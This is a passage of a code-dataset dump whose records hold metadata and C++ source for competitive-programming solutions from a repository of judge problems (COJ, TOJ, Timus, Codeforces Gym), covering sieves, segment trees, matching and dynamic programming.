n;\n\n for( int i = 0; i < n; i++ ){\n ll x, y; cin >> x >> y; x += 1000000000; y += 1000000000;\n\n a[x%d]++;\n b[y%d]++;\n\n ab[x%d][y%d]++;\n }\n\n for( int i = 0; i < d; i++ ){\n for( int j = 0; j < d; j++ ){\n sol = min( sol , a[i] + b[j] - ab[i][j] );\n }\n }\n\n cout << sol << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.4590163826942444, "alphanum_fraction": 0.47391951084136963, "avg_line_length": 17.171428680419922, "blob_id": "3aca4e1647e9032c0b5dd16ee0df450c19b86675", "content_id": "673c2c8d41da4766dc50465ac0ba39a488c87df9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 671, "license_type": "no_license", "max_line_length": 51, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p2696-Accepted-s642378.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1005;\r\n\r\nint n, m, a[MAXN], mx = -1;\r\nbool mark[MAXN][MAXN];\r\nvector<int> sol;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> n >> m;\r\n\tfor (int i = 1, x, y; i <= m; i++) {\r\n\t\tcin >> x >> y;\r\n\t\tif (mark[x][y]) continue;\r\n\t\tmark[x][y] = 1;\r\n\t\ta[x]++;\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (a[i] > mx) {\r\n\t\t\tsol.clear();\r\n\t\t\tsol.push_back(i);\r\n\t\t\tmx = a[i];\r\n\t\t}\r\n\t\telse if (a[i] == mx) sol.push_back(i);\r\n\t}\r\n\tsort(sol.begin(), sol.end());\r\n\tint s = sol.size();\r\n\tcout << sol[0];\r\n\tfor (int i = 1; i < s; i++) cout << ' ' << sol[i];\r\n\tcout << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.39502763748168945, "alphanum_fraction": 0.4254143536090851, "avg_line_length": 22.133333206176758, "blob_id": "27756d3f260a216951c7d724052c61aa8c12ce80", "content_id": "f92ef252043d7283c79a43231285c7cb634ab5e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 362, "license_type": "no_license", "max_line_length": 80, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2145-Accepted-s468101.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint n,mx,mn,s,x;\r\n\r\nint main(){\r\n std::ios::sync_with_stdio(false);\r\n cin >> n;\r\n for(int i=0; i<n; i++){\r\n mx=0;mn=101;s=0;\r\n for(int j=0; j<10; j++){cin >> x; s+=x; if(mx<x)mx=x; if(mn>x)mn=x;}\r\n cout << i+1 << \" \" << s-mx-mn << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.4566115736961365, "alphanum_fraction": 0.4876033067703247, "avg_line_length": 14.580645561218262, "blob_id": "9600801f85bd13e854b5aa4ba4778d4f12cce075", "content_id": "33db437278926e3363160ab46da4df66c5192ba3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 484, "license_type": "no_license", "max_line_length": 33, "num_lines": 31, "path": "/TOJ/3485.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint tc, n;\nlong long a[1000005];\nmap<long long, int> m;\nmap<long long, int>::iterator it;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> tc;\n\twhile (tc--) {\n\t\tcin >> n;\n\t\tm.clear();\n\t\tlong long s = 0;\n\t\tlong long ans = 0;\n\t\tm[0] = 1;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> a[i];\n\t\t\ts += a[i];\n\t\t\tit = m.find(s - 47LL);\n\t\t\tif (it != m.end()) {\n\t\t\t\tans += it->second;\n\t\t\t}\n\t\t\tm[s]++;\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.40970349311828613, "alphanum_fraction": 0.4400269687175751, "avg_line_length": 18.328767776489258, "blob_id": "7b483e3d3290d4636655d0d6614ce65eefde0c39", "content_id": "0dec001502c21f334af213ddbdb2fabade3b10d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1484, "license_type": "no_license", "max_line_length": 106, "num_lines": 73, "path": "/COJ/eliogovea-cojAC/eliogovea-p2497-Accepted-s974535.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int N = 15;\r\n\r\nint t;\r\nint n;\r\nint p[N + 5], e[N + 5];\r\n\r\nint x[(1 << N) + 5];\r\nint y[(1 << N) + 5];\r\nint cnt[(1 << N) + 5];\r\n\r\nmap <int, int> pos;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 0; i < N; i++) {\r\n\t\tpos[1 << i] = i;\r\n\t}\r\n\tcin >> t;\r\n\tfor (int cas = 1; cas <= t; cas++) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> p[i] >> e[i];\r\n\t\t}\r\n\t\tx[0] = y[0] = cnt[0] = 1;\r\n\t\tfor (int mask = 1; mask < (1 << n); mask++) {\r\n\t\t\tint last = pos[mask & -mask];\r\n\t\t\tx[mask] = mul(x[mask ^ (mask & -mask)], power(p[last], e[last]));\r\n\t\t\ty[mask] = mul(y[mask ^ (mask & -mask)], mul(power(p[last], e[last]) - 1, power(p[last] - 1, MOD - 2)));\r\n\t\t\tcnt[mask] = mul(cnt[mask ^ (mask & -mask)], e[last] + 1);\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int mask = 0; mask < (1 << n); mask++) {\r\n\t\t\tint rmask = mask ^ ((1 << n) - 1);\r\n\t\t\tadd(ans, mul(x[mask], mul(y[rmask], cnt[mask])));\r\n\t\t}\r\n\t\tint val = 1;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tval = mul(val, power(p[i], e[i]));\r\n\t\t}\r\n\t\tadd(ans, val);\r\n\t\tcout << \"Case \" << cas << \": \" << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3773443400859833, "alphanum_fraction": 0.4043510854244232, "avg_line_length": 14.45678997039795, "blob_id": "850276be841ebf6ad83f01b297890b29ea1a6da3", "content_id": "607c9e7599f060352fb21e0127541e641c7b8326", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1333, "license_type": "no_license", "max_line_length": 40, "num_lines": 81, "path": "/COJ/eliogovea-cojAC/eliogovea-p2867-Accepted-s946048.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 123457;\r\nconst int N = 1000000;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int INV2 = power(2, MOD - 2);\r\n\r\nbool sieve[N + 5];\r\n\r\nint phi[N + 5];\r\nint f[N + 5];\r\nint g[N + 5];\r\nint sumg[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\t\tsieve[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tphi[i] = i;\r\n\t}\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tfor (int j = i; j <= N; j += i) {\r\n\t\t\t\tphi[j] = phi[j] - phi[j] / i;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tf[1] = 1;\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tf[i] = mul(i, mul(phi[i], INV2));\r\n\t}\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfor (int j = i; j <= N; j += i) {\r\n\t\t\tadd(g[j], f[i]);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tg[i] = mul(g[i], i);\r\n\t}\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tsumg[i] = sumg[i - 1];\r\n\t\tadd(sumg[i], g[i]);\r\n\t}\r\n\tint n;\r\n\twhile (cin >> n) {\r\n\t\tcout << sumg[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.30705395340919495, "alphanum_fraction": 0.3215767741203308, "avg_line_length": 17.089109420776367, "blob_id": "96aad0eaaca7fbad2f380730ab603b7e7db3c0bf", "content_id": "6f3830b5031c49a8c222ed6221cd9ee98097c919", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1928, "license_type": "no_license", "max_line_length": 55, "num_lines": 101, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/G4-1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 100;\r\n\r\nvector<int> g[MAXN];\r\nchar op[MAXN];\r\n\r\nint n;\r\n\r\nint go[MAXN];\r\nint from[MAXN];\r\nbool mk[MAXN];\r\nbool ok[MAXN];\r\n\r\nbool dfs( int u ){\r\n if( mk[u] ){\r\n return false;\r\n }\r\n\r\n mk[u] = true;\r\n for( int i = 0; i < g[u].size(); i++ ){\r\n int v = g[u][i];\r\n if( op[v] == 'Y'|| ok[v] ){\r\n continue;\r\n }\r\n\r\n if( !from[v] || dfs(from[v]) ){\r\n go[u] = v;\r\n from[v] = u;\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n}\r\n\r\nint kuhn(){\r\n fill( go , go + n + 1 , 0 );\r\n fill( from , from + n + 1 , 0 );\r\n fill( mk , mk + n + 1 , false );\r\n\r\n int mx = 0;\r\n for( int u = 1; u <= n; u++ ){\r\n fill( mk , mk + n + 1 , false );\r\n if( op[u] == 'Y' && !ok[u] && dfs(u) ){\r\n mx++;\r\n }\r\n }\r\n\r\n return mx;\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n cin >> n;\r\n string s; getline( cin , s );\r\n\r\n for( int u = 1; u <= n; u++ ){\r\n getline( cin , s );\r\n op[u] = s[0];\r\n int v = 0;\r\n for( int i = 2; i < s.size(); i++ ){\r\n if( s[i] != ' ' ){\r\n v *= 10;\r\n v += s[i] - '0';\r\n\r\n if( i+1 == s.size() || s[i+1] == ' ' ){\r\n g[u].push_back(v);\r\n g[v].push_back(u);\r\n v = 0;\r\n }\r\n }\r\n }\r\n }\r\n\r\n vector<int> sol;\r\n\r\n int mx = kuhn();\r\n\r\n for( int u = 1; u <= n && mx > 0; u++ ){\r\n ok[u] = true;\r\n if( kuhn() == mx-1 ){\r\n sol.push_back(u);\r\n mx--;\r\n }\r\n else{\r\n ok[u] = false;\r\n }\r\n }\r\n\r\n cout << sol.size() << '\\n';\r\n for( int i = 0; i < sol.size(); i++ ){\r\n cout << sol[i] << '\\n';\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3774954676628113, "alphanum_fraction": 0.3992740511894226, "avg_line_length": 13.30555534362793, "blob_id": "c41ca52f356fc2d03457e4d72aad48e583651e89", "content_id": "275f6f2a2a4eb76d832bb184c415dc68f5978964", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 551, "license_type": "no_license", "max_line_length": 44, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p3239-Accepted-s809994.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint tc, n;\r\nstring s;\r\nint ans[100005];\r\n\r\nstack<int> S;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n >> s;\r\n\t\twhile (!S.empty()) {\r\n\t\t\tS.pop();\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tans[i] = -1;\r\n\t\t\twhile (!S.empty() && s[S.top()] < s[i]) {\r\n\t\t\t\tans[S.top()] = i + 1;\r\n\t\t\t\tS.pop();\r\n\t\t\t}\r\n\t\t\tS.push(i);\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcout << ans[i];\r\n\t\t\tif (i + 1 < n) {\r\n\t\t\t\tcout << \" \";\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4187662899494171, "alphanum_fraction": 0.43874892592430115, "avg_line_length": 20.173076629638672, "blob_id": "407ac8d74c0ab57ef9a6b92ce7765d0e6c5de1b3", "content_id": "533ad28a7264a764d36d3bf3e35e223bc0afbfc3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1151, "license_type": "no_license", "max_line_length": 94, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p2842-Accepted-s621400.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/**\r\n * Koder: Sheldon Cooper\r\n * Task : 2842 - Lazy Cat\r\n **/\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include <vector>\r\n#define MAXN 10000010\r\n#define PRINT( x ) printf( \"%d \", x );\r\n//#define DEBUG\r\nusing namespace std;\r\n\r\nint Q;\r\nshort no_prime[MAXN];\r\nchar aux[10];\r\nvector<int> v;\r\n\r\nshort is_palind( int x ){\r\n int len = (int)log10(x)+1;\r\n if( len == 1 ) return true;\r\n sprintf( aux+1, \"%d\", x );\r\n for( int i = 1, j = len; i <= j; i++, j-- )\r\n if( aux[i] != aux[j] )\r\n return false;\r\n return true;\r\n }\r\nint main(){\r\n\r\n\r\n for( int i = 2; i <= MAXN; i++ ){\r\n if( no_prime[i] ) continue;\r\n for( int j = 2*i; j <= MAXN; j += i )\r\n no_prime[j] = true;\r\n if( is_palind( i ) )\r\n v.push_back( i );\r\n }\r\n#ifdef DEBUG\r\n for( int i = 0; i < v.size(); i++ ){\r\n printf( \"%d \", v[i] );\r\n }\r\n#endif\r\n scanf( \"%d\", &Q );\r\n int l, r;\r\n while( Q-- ){\r\n scanf( \"%d%d\", &l, &r );\r\n int ans = upper_bound( v.begin(), v.end(), r ) - lower_bound( v.begin(), v.end(), l );\r\n printf( \"%d\\n\", ans );\r\n }\r\n\r\n\r\n }" }, { "alpha_fraction": 0.3951011598110199, "alphanum_fraction": 0.44195953011512756, "avg_line_length": 16.07272720336914, "blob_id": "71b01047340e1d28ea57a07d4a4e1ced9716e5cc", "content_id": "bf09a7a32d2aae5189079cd621885b797bd5d6b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 939, "license_type": "no_license", "max_line_length": 57, "num_lines": 55, "path": "/Codeforces-Gym/100507 - 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest\n// 100507L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\",\"r\",stdin);\n\n\tset<char> c[3];\n\n\tc[0].insert('A');\n\tc[0].insert('P');\n\tc[0].insert('O');\n\tc[0].insert('R');\n\n\tc[1].insert('B');\n\tc[1].insert('M');\n\tc[1].insert('S');\n\n\tc[2].insert('D');\n\tc[2].insert('G');\n\tc[2].insert('J');\n\tc[2].insert('K');\n\tc[2].insert('T');\n\tc[2].insert('W');\n\n\tint n; cin >> n;\n\n\tint sol = 0;\n\n\tint cur = 0;\n\tfor( int i = 0; i < n; i++ ){\n string x; cin >> x;\n int next = cur;\n if( c[0].find( x[0] ) != c[0].end() ){\n next = 0;\n }\n else if( c[1].find( x[0] ) != c[1].end() ){\n next = 1;\n }\n else if( c[2].find( x[0] ) != c[2].end() ){\n next = 2;\n }\n\n sol += abs( next - cur );\n cur = next;\n\t}\n\n\tcout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.4426303803920746, "alphanum_fraction": 0.45986393094062805, "avg_line_length": 19.617647171020508, "blob_id": "d86e6af436e6cd41538994e48d6658ba741075b0", "content_id": "6bef48b7129158badea436ab87a8b589953db8fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2205, "license_type": "no_license", "max_line_length": 101, "num_lines": 102, "path": "/COJ/eliogovea-cojAC/eliogovea-p3399-Accepted-s996508.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct segmentTree {\r\n\tint n;\r\n\tvector <bool> t;\r\n\tsegmentTree() {}\r\n\tsegmentTree(int _n) {\r\n\t\tn = _n;\r\n\t\tt = vector <bool> (4 * n, false);\r\n\t}\r\n\tinline void push(int x, int l, int r) {\r\n\t\tif (t[x]) {\r\n\t\t\tif (l != r) {\r\n\t\t\t\tt[2 * x] = true;\r\n\t\t\t\tt[2 * x + 1] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvoid update(int x, int l, int r, int ul, int ur) {\r\n\t\tif (r < ul || ur < l) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tpush(x, l, r);\r\n\t\tif (ul <= l && r <= ur) {\r\n\t\t\tt[x] = true;\r\n\t\t\tpush(x, l, r);\r\n\t\t} else {\r\n\t\t\tint mid = (l + r) >> 1;\r\n\t\t\tupdate(2 * x, l, mid, ul, ur);\r\n\t\t\tupdate(2 * x + 1, mid + 1, r, ul, ur);\r\n\t\t\tt[x] = (t[2 * x] && t[2 * x + 1]);\r\n\t\t}\r\n\t}\r\n\tvoid update(int ul, int ur) {\r\n\t\tupdate(1, 1, n, ul, ur);\r\n\t}\r\n\tbool query(int x, int l, int r, int ql, int qr) {\r\n\t\tif (r < ql || qr < l) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\tpush(x, l, r);\r\n\t\tif (ql <= l && r <= qr) {\r\n\t\t\treturn t[x];\r\n\t\t}\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tbool q1 = query(2 * x, l, mid, ql, qr);\r\n\t\tbool q2 = query(2 * x + 1, mid + 1, r, ql, qr);\r\n\t\treturn (q1 && q2);\r\n\t}\r\n\tbool query(int ql, int qr) {\r\n\t\treturn query(1, 1, n, ql, qr);\r\n\t}\r\n};\r\n\r\nvoid dfs(vector <vector <int> > &g, int u, int &timer, vector <int> &timeIn, vector <int> &timeOut) {\r\n\ttimeIn[u] = timer++;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tdfs(g, v, timer, timeIn, timeOut);\r\n\t}\r\n\ttimeOut[u] = timer;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n, m;\r\n\tcin >> n >> m;\r\n\tvector <int> p(n);\r\n\tvector <vector <int> > g(n);\r\n\tint root = -1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> p[i];\r\n\t\tp[i]--;\r\n\t\tif (p[i] == -1) {\r\n\t\t\tassert(root == -1);\r\n\t\t\troot = i;\r\n\t\t} else {\r\n\t\t\tg[p[i]].push_back(i);\r\n\t\t}\r\n\t}\r\n\tassert(root != -1);\r\n\tint timer = 1;\r\n\tvector <int> timeIn(n), timeOut(n);\r\n\tdfs(g, root, timer, timeIn, timeOut);\r\n\tsegmentTree st(n);\r\n\tvector <int> node(m), color(m);\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tcin >> node[i] >> color[i];\r\n\t\tnode[i]--;\r\n\t}\r\n\tset <int> S;\r\n\tfor (int i = m - 1; i >= 0; i--) {\r\n\t\tif (st.query(timeIn[node[i]], timeOut[node[i]] - 1) == false) {\r\n\t\t\tS.insert(color[i]);\r\n\t\t}\r\n\t\tst.update(timeIn[node[i]], timeOut[node[i]] - 1);\r\n\t}\r\n\tcout << S.size() << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.36520853638648987, "alphanum_fraction": 0.38453713059425354, "avg_line_length": 20.340909957885742, "blob_id": "d6b65f1266e777915402507797d6ad5f92d124ea", "content_id": "ea5a3218f1821fae79c9adc78aec136a0c989b6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 983, "license_type": "no_license", "max_line_length": 78, "num_lines": 44, "path": "/COJ/eliogovea-cojAC/eliogovea-p1879-Accepted-s670989.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 1879.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <map>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nint n;\r\nstring s;\r\nLL f, m;\r\nmap<LL, LL> M[2];\r\nmap<LL, LL>::iterator it;\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s;\r\n\t\treverse(s.begin(), s.end());\r\n\t\tLL x = 0, y = 0;\r\n\t\tfor (LL i = 0; i < 59; i++) {\r\n\t\t\tif (s[i] == '1') x |= (1LL << i);\r\n\t\t\telse y |= (1LL << i);\r\n\t\t}\r\n\t\tint g = s[59] - '0';\r\n\t\tit = M[g].find(y);\r\n\t\tif (it != M[g].end()) f += it->second;\r\n\t\tit = M[!g].find(y);\r\n\t\tif (it != M[!g].end()) m += it->second;\r\n\t\tM[g][x]++;\r\n\t}\r\n\tcout << f << \" \" << m << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.39175257086753845, "alphanum_fraction": 0.4020618498325348, "avg_line_length": 12.923076629638672, "blob_id": "7589c68ef7f505151c2e1cb15f5f2d48305c2911", "content_id": "fbe53da08c61529e0d7ae22091a373fa2329b920", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 194, "license_type": "no_license", "max_line_length": 36, "num_lines": 13, "path": "/COJ/eliogovea-cojAC/eliogovea-p1898-Accepted-s525310.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint c;\r\ndouble a,b,d;\r\nint main()\r\n{\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%lf%lf%lf\",&a,&b,&d);\r\n printf(\"%.4lf\\n\",d/(a+b));\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.35789474844932556, "alphanum_fraction": 0.40300750732421875, "avg_line_length": 15.128205299377441, "blob_id": "0cc70fe8d807347e944a9a398e1e27db57638587", "content_id": "b0b662198dc086a241645a81ce85e67dec08470b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 665, "license_type": "no_license", "max_line_length": 41, "num_lines": 39, "path": "/Timus/1044-6291321.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1044\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int N = 55;\r\n\r\nll dp[N][10 * N];\r\n\r\nint n, s;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 0; i <= 9; i++) {\r\n\t\tdp[1][i] = 1;\r\n\t}\r\n\tfor (int i = 1; i < n / 2; i++) {\r\n\t\tfor (int j = 0; j <= 9 * i; j++) {\r\n\t\t\tfor (int k = 0; k <= 9; k++) {\r\n\t\t\t\tdp[i + 1][j + k] += dp[i][j];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tll t = 0;\r\n\tfor (int i = 0; i <= 9 * (n / 2); i++) {\r\n t += dp[n / 2][i] * dp[n / 2][i];\r\n\t}\r\n\tif (n & 1) {\r\n t *= 10;\r\n\t}\r\n\tcout << t << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.369422972202301, "alphanum_fraction": 0.39857226610183716, "avg_line_length": 18.5, "blob_id": "2241c3b1c5677b21c4663c16da25b8f867f3f601", "content_id": "f5f196705dc6723822f7552da3d264487bb46510", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1681, "license_type": "no_license", "max_line_length": 65, "num_lines": 82, "path": "/COJ/eliogovea-cojAC/eliogovea-p2666-Accepted-s799245.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000005;\r\nconst int LOGN = 22;\r\nint n, a[N];\r\n\r\nshort st[LOGN][N];\r\nshort LOG[N];\r\nvoid build() {\r\n\tfor (int i = 2; i <= n; i++) {\r\n\t\tLOG[i] = LOG[i / 2] + 1;\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tst[0][i] = a[i];\r\n\t}\r\n\tfor (int i = 1; (1 << i) <= n; i++) {\r\n\t\tfor (int j = 1; j + (1 << i) - 1 <= n; j++) {\r\n\t\t\tst[i][j] = __gcd(st[i - 1][j], st[i - 1][j + (1 << (i - 1))]);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint query(int x, int y) {\r\n\tint l = LOG[y - x + 1];\r\n\treturn __gcd(st[l][x], st[l][y - (1 << l) + 1]);\r\n}\r\n\r\nint len;\r\nvector<pair<int, int> > ans;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a[i];\r\n\t}\r\n\tbuild();\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tint lo = 1, hi = i;\r\n\t\tint ll = 1;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint m = (lo + hi) >> 1;\r\n\t\t\tif (query(i - m + 1, i) % a[i] == 0) {\r\n\t\t\t\tll = m;\r\n\t\t\t\tlo = m + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = m - 1;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tlo = 1;\r\n\t\thi = n - i + 1;\r\n\t\tint rr = 1;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint m = (lo + hi) >> 1;\r\n\t\t\tif (query(i, i + m - 1) % a[i] == 0) {\r\n\t\t\t\trr = m;\r\n\t\t\t\tlo = m + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = m - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tint l = ll + rr - 1;\r\n\t\tif (l > len) {\r\n\t\t\tlen = l;\r\n\t\t\tans.clear();\r\n\t\t\tans.push_back(make_pair(i - ll + 1, i + rr - 1));\r\n\t\t} else if (l == len) {\r\n\t\t\tans.push_back(make_pair(i - ll + 1, i + rr - 1));\r\n\t\t}\r\n\t}\r\n\tsort(ans.begin(), ans.end());\r\n\tans.erase(unique(ans.begin(), ans.end()), ans.end());\r\n\tcout << len << \" \" << ans.size() << \"\\n\";\r\n\tfor (int i = 0; i < ans.size(); i++) {\r\n\t\tcout << ans[i].first << \" \" << ans[i].second << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.31954023241996765, "alphanum_fraction": 0.3655172288417816, "avg_line_length": 15.399999618530273, "blob_id": "32246de39779912d7f68de91434d3f1fcf4d0770", "content_id": "a3b6c29d6013cbf70ac23f64ea76845d17369266", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 435, "license_type": "no_license", "max_line_length": 42, "num_lines": 25, "path": 